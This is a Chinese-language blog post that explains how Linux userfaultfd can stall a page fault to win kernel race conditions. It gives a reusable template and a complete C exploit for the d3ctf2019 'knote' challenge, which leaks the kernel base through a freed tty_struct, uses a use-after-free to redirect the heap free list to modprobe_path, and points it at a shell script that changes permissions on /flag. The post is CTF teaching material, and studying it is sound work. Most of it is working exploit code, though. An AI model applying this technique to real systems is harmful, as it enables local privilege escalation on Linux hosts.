条件竞争 && userfaultfd

条件竞争 && userfaultfd

概述

userfaultlinux下的一种缺页处理的系统调用,用户可以通过自定义的函数来处理这个缺页错误。这里说的缺页就是指,程序访问页面时,该页面还未被装入RAM中,比如mmap出来的堆块。通过这个机制我们可以控制程序执行的先后顺序,从而大幅度提高我们条件竞争成功的概率。

假设某个程序存在一个内核堆,这里的操作都没有加锁。一个线程不断分配和编辑堆块,另一个线程不断释放堆块,那么这里就有可能编辑刚到被释放的堆块。若此时把fd编辑成目标地址,便可以实现任意地址写。

如果这里我们直接开两个线程进行竞争,不但竞争成功的概率很低,而且也不好判断是否竞争成功。

但是如果我们分配堆块的功能里有,如copy_from_user等函数的操作。那我们就可以在分配堆块时通过缺页错误使他阻塞,此时通过另一个线程释放当前堆块,缺页错误处理结束之后便可以对这个已经被释放的堆块进行编辑,从而大大增加了条件竞争成功的概率。

模板

userfault_register
void register_userfault(void *fault_page,void *handler)
{
	pthread_t thr;
	struct uffdio_api ua;
	struct uffdio_register ur;
	uint64_t uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
	ua.api = UFFD_API;
	ua.features = 0;
	if(ioctl(uffd, UFFDIO_API, &ua) == -1)
		ErrExit("[-] ioctl-UFFDIO_API error");
	
	ur.range.start = (unsigned long)fault_page; // the area we want to monitor
	ur.range.len = PAGE_SIZE;
	ur.mode = UFFDIO_REGISTER_MODE_MISSING;
	if(ioctl(uffd, UFFDIO_REGISTER, &ur) == -1) // register missing page error handling. when a missing page occurs, the program will block. at this time, we will operate in another thread
		ErrExit("[-] ioctl-UFFDIO_REGISTER error");
	// open a thread, receive the wrong signal, and the handle it
	int s = pthread_create(&thr, NULL, handler, (void*)uffd);
	if(s!=0)
		ErrExit("[-] pthread-create error");
}
userfault_handler
void *userfault_write_handler(void *arg)
{
	struct uffd_msg msg;
	unsigned long uffd = (unsigned long)arg;
	puts("[+] write handler created");
	
	struct pollfd pollfd;
	int nready;
	pollfd.fd = uffd;
	pollfd.events = POLLIN;
	nready = poll(&pollfd, 1, -1);
	
	sleep(3);
	
	if(nready != 1)
		ErrExit("[-] wrong poll return value");
	nready = read(uffd, &msg, sizeof(msg));
	if(nready<=0)
		ErrExit("[-] msg error");
	
	char *page = (char*)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
	if(page == MAP_FAILED)
		ErrExit("[-] mmap error");
	struct uffdio_copy uc;
	// init page
	memset(page, 0, sizeof(page));
	memcpy(page, &modprobe_path, 8); // make fd = &modprobe_path
	uc.src = (unsigned long)page;
	uc.dst = (unsigned long)msg.arg.pagefault.address & ~(PAGE_SIZE - 1);
	uc.len = PAGE_SIZE;
	uc.mode = 0;
	uc.copy = 0;
	ioctl(uffd, UFFDIO_COPY, &uc);
	puts("[+] write handle done");
}

例题:d3ctf2019-knote

exp
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <fcntl.h>
#include <pthread.h>
#include <poll.h>
#include <string.h>
#include <assert.h>
#include <linux/userfaultfd.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <sys/mman.h>

#define PAGE_SIZE 0x1000
#define TTY_STRUCT_SIZE 0x2E0

int fd, tty_fd;
size_t kernel_base, modprobe_path;

typedef struct
{
	union
	{
		size_t size;
		size_t index;
	};
	char *buf;
}Data;

void get_flag()
{
	puts("[+] Prepare shell file.");
	system("echo -ne '#!/bin/sh\n/bin/chmod 777 /flag\n' > /shell.sh");
	system("chmod +x /shell.sh");
	
	puts("[+] Prepare trigger file.");
	system("echo -ne '\\xff\\xff\\xff\\xff' > /FXC");
	system("chmod +x /FXC");
	
	system("cat /proc/sys/kernel/modprobe");
	system("/FXC");
	system("cat /flag");
	
	sleep(5);
}

void add(size_t size)
{
	Data data;
	data.size = size;
	data.buf = NULL;
	ioctl(fd, 0x1337, &data);
}

void delete(size_t index)
{
	Data data;
	data.index = index;
	data.buf = NULL;
	ioctl(fd, 0x6666, &data);
}

void edit(size_t index, char *buf)
{
	Data data;
	data.index = index;
	data.buf = buf;
	ioctl(fd, 0x8888, &data);
}

void show(size_t index, char *buf)
{
	Data data;
	data.index = index;
	data.buf = buf;
	ioctl(fd, 0x2333, &data);
}

void ErrExit(char* err_msg)
{
	puts(err_msg);
	exit(-1);
}

void register_userfault(void *fault_page,void *handler)
{
	pthread_t thr;
	struct uffdio_api ua;
	struct uffdio_register ur;
	uint64_t uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
	ua.api = UFFD_API;
	ua.features = 0;
	if(ioctl(uffd, UFFDIO_API, &ua) == -1)
		ErrExit("[-] ioctl-UFFDIO_API error");
	
	ur.range.start = (unsigned long)fault_page; // the area we want to monitor
	ur.range.len = PAGE_SIZE;
	ur.mode = UFFDIO_REGISTER_MODE_MISSING;
	if(ioctl(uffd, UFFDIO_REGISTER, &ur) == -1) // register missing page error handling. when a missing page occurs, the program will block. at this time, we will operate in another thread
		ErrExit("[-] ioctl-UFFDIO_REGISTER error");
	// open a thread, receive the wrong signal, and the handle it
	int s = pthread_create(&thr, NULL, handler, (void*)uffd);
	if(s!=0)
		ErrExit("[-] pthread-create error");
}

void *userfault_leak_handler(void *arg)
{
	struct uffd_msg msg;
	unsigned long uffd = (unsigned long)arg;
	puts("[+] leak handler created");
	
	struct pollfd pollfd;
	int nready;
	pollfd.fd = uffd;
	pollfd.events = POLLIN;
	nready = poll(&pollfd, 1, -1);
	
	sleep(3);
	
	if(nready != 1)
		ErrExit("[-] wrong poll return value");
	nready = read(uffd, &msg, sizeof(msg));
	if(nready<=0)
		ErrExit("[-] msg error");
	
	char *page = (char*)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
	if(page == MAP_FAILED)
		ErrExit("[-] mmap error");
	struct uffdio_copy uc;
	// init page
	memset(page, 0, sizeof(page));
	uc.src = (unsigned long)page;
	uc.dst = (unsigned long)msg.arg.pagefault.address & ~(PAGE_SIZE - 1);
	uc.len = PAGE_SIZE;
	uc.mode = 0;
	uc.copy = 0;
	ioctl(uffd, UFFDIO_COPY, &uc);
	puts("[+] leak handler done");
}

void *userfault_write_handler(void *arg)
{
	struct uffd_msg msg;
	unsigned long uffd = (unsigned long)arg;
	puts("[+] write handler created");
	
	struct pollfd pollfd;
	int nready;
	pollfd.fd = uffd;
	pollfd.events = POLLIN;
	nready = poll(&pollfd, 1, -1);
	
	sleep(3);
	
	if(nready != 1)
		ErrExit("[-] wrong poll return value");
	nready = read(uffd, &msg, sizeof(msg));
	if(nready<=0)
		ErrExit("[-] msg error");
	
	char *page = (char*)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
	if(page == MAP_FAILED)
		ErrExit("[-] mmap error");
	struct uffdio_copy uc;
	// init page
	memset(page, 0, sizeof(page));
	memcpy(page, &modprobe_path, 8); // make fd = &modprobe_path
	uc.src = (unsigned long)page;
	uc.dst = (unsigned long)msg.arg.pagefault.address & ~(PAGE_SIZE - 1);
	uc.len = PAGE_SIZE;
	uc.mode = 0;
	uc.copy = 0;
	ioctl(uffd, UFFDIO_COPY, &uc);
	puts("[+] write handle done");
}

int main()
{
	fd = open("/dev/knote", O_RDWR);
	if(fd<0)
		ErrExit("[-] open file error");
	add(TTY_STRUCT_SIZE);
	
	char *leak_data_buf = (char*)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
	if(leak_data_buf == MAP_FAILED)
		ErrExit("[-] mmap error");
	
	register_userfault(leak_data_buf, userfault_leak_handler);
	
	int pid = fork();
	if(pid<0)
		ErrExit("[-] fork error");
	else if(pid == 0)
	{
		sleep(1);
		delete(0);
		tty_fd = open("/dev/ptmx",2);
		exit(0);
	}
	else
	{
		show(0,leak_data_buf);
		close(tty_fd);
		size_t *leak_data = (size_t*)leak_data_buf;
		if(leak_data[7] == 0)
			ErrExit("[-] leak error");
		kernel_base = leak_data[74] - 0x5d3b90;
		printf("kernel_base: 0x%lx\n", kernel_base);
		modprobe_path = kernel_base + 0x145c5c0;
	}
	
	sleep(2);
	// write modprobe_path to next
	add(0x100);
	char *write_buf = (char *)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
	if(write_buf == MAP_FAILED)
		ErrExit("[-] mmap error");
	
	register_userfault(write_buf, userfault_write_handler);
	
	pid = fork();
	if(pid<0)
		ErrExit("[-] fork error");
	else if(pid == 0)
	{
		sleep(1);
		delete(0);
		exit(0);
	}
	else
	{
		edit(0,write_buf);
	}
	
	sleep(2);
	// change modprobe_path
	char *path = "/shell.sh\x00";
	add(0x100); // 0
	add(0x100); // 1
	edit(1, path);
	get_flag();
	return 0;
}
posted @ 2022-07-11 11:11  狒猩橙  阅读(243)  评论(3编辑  收藏  举报